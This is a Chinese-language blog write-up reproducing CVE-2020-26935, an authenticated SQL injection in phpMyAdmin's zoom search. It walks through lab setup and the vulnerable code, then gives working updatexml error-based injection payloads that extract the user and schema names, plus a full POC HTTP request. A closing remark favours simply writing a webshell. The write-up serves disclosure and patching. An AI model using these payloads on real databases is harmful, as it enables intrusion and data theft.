CVE-2020-26935 phpMyAdmin后台SQL注入
2022-01-17 14:27
3703 查看
0x00 漏洞介绍
phpMyAdmin是
phpMyAdmin团队的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。
phpMyAdmin 4.9.6之前版本,
SearchController 5.0.3之前版本存在SQL注入漏洞,该漏洞允许攻击者进行SQL注入攻击。
0x01 漏洞环境
- phpMyAdmin5.0.2&SearchController <5.0.3
0x02 漏洞搭建
1、
phpMyAdmin 5.0.2压缩包下载
https://files.phpmyadmin.net/phpMyAdmin/5.0.2/phpMyAdmin-5.0.2-all-languages.zip
2、解压缩后将其放入靶机的
/var/www/html目录下,改名为
phpmyadmin
3、随后进入
phpmyadmin,找到
config.sample.inc.php文件备份后将该文件更名为
config.inc.php。用
vim编辑器打开该文件,在第18行此处填写
phpmyadmin,也就是自己改的名字即可安装完毕。
4、保存完配置之后,在浏览器输入如下地址http://127.0.0.1/phpmyadmin,就会出来phpMyAdmin登录界面 5、注意,mysql 5.7版本默认不能使用root用户登陆后台phpmyadmin的!!!新建一个完全权限的账户才可以登陆!!命令如下:
mysql -u root -p use mysql; GRANT ALL PRIVILEGES ON *.* TO '用户名'@'localhost' IDENTIFIED BY '密码' WITH GRANT OPTION; flush privileges; exit; systemctl restart mysql
0x03 影响范围
phpMyAdmin versions 4.9.x before 4.9.6, and versions 5.0.x before 5.0.3
0x04 漏洞原理
1、因为是跟
SearchController有关,所以全局搜索一下
SearchController,正向跟进
/tbl_zoome_select.php文件。
2、可以看出调用了
TableSearchController的
indexAction方法,继续跟进,全局搜索一下,看看到底是哪里创建的这个函数。
3、通过上图全局搜索
indexAction(),可以看出来在
./libraries/classes/Controllers/Table/SearchController.php这个文件中,进入
switch case zoom中,发现这里是一个原生sql语句,没有对
get_data_row做任何过滤。
0x05 漏洞复现
1、登陆phpMyAdmin后台
账号:
wpuser
密码:
Wpuser123.com
2、登陆后,点击
information_schema
3、再随机点击一张不报错的表,随后点击搜索
4、再点击
缩放搜索
、
5、将空白处填满,值都填满,随便写
6、打开BurpSuite,设置好代理后,点击下方的执行,BuiteSuite就会收到如下的数据包,
Ctrl+R将其放入重放器(Repeater)中
7、将
token字段后面的所有数据删除
8、添加这句语句
&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)
9、发送后可以看到结果
10、查询库名
&get_data_row=1&where_clause=updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1) &get_data_row=1&where_clause=updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e),1)
也可以放在
Hack bar中执行
0x06 漏洞解决建议
1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2
2、升级到更高版本
0x07 POC
POST /phpmyadmin/tbl_zoom_select.php HTTP/1.1 Host: 192.168.91.137 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 224 Origin: null Connection: close Cookie: phpMyAdmin=nk6q8es96cv0j8a8a1nu9of48k; pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22NnsGvlgStQthIgVzxmXmlA%3D%3D%22%2C%22mac%22%3A%22bc225fb2cce7236537f724885ff488332922da27%22%2C%22payload%22%3A%22mcoI%5C%2FCTWx3zHM6hNjpopfA%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22d1W1shXTobZeECuPiLJJXA%3D%3D%22%2C%22mac%22%3A%2237051bede50280770d4b8ab05ee03935983ad141%22%2C%22payload%22%3A%22c66OqbeSV%2BdgvyEiRm4Eh6U5wJGDBnatHyiKhkfj608%3D%22%7D Upgrade-Insecure-Requests: 1 Sec-GPC: 1 db=information_schema&table=CHARACTER_SETS&token=2777787a51783379543b65257c606c45&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)
0x08 总结
很鸡肋,进入
phpMyadmin后台,谁还做sql注入,直接写shell不香么。
0x09 Reference
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26935
相关文章推荐
- 阿里云服务器漏洞phpmyadmin CVE-2016-6617 SQL注入漏洞 解决方法
- [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
- phpmyadmin CVE-2016-6617 SQL注入漏洞
- Struts2 S2-061漏洞复现(CVE-2020-17530)+goby自定义规则批量漏洞扫描
- CVE-2020-8835漏洞:影响Ubuntu 19.10 与 Ubuntu 18.04
- CVE-2020-11710:Kong API网关未经授权的漏洞警报
- Tomcat任意文件读取漏洞复现,编号:CVE-2020-1938
- D-Link DSR路由器系列产品SQL注入漏洞(CVE-2013-5945)
- CVE-2019-14234:Django JSONField/HstoreField SQL注入漏洞警报
- CVE-2020-9296-Netflix-Conductor-RCE-漏洞分析
- CVE-2019-12922:零日phpMyAdmin跨站点请求伪造漏洞警报
- phpMyAdmin 后台拿webshell
- CVE-2020-0601:微软核心加密库漏洞复现
- SQL注入,WEB扫描,寻找测试目标,注入后台
- CVE-2018-12613 phpmyadmin文件包含getshell连载(三)
- 后台SQL注入实例
- 思杰NetScaler(CVE-2020-8191、CVE-2020-8198)漏洞修复
- 利用SQL注入漏洞登录后台的实例
- phpMyAdmin 4.8.5 发布,修复任意文件读取和SQL注入漏洞
- 2020腾讯C++后台开发暑期实习电话面(一)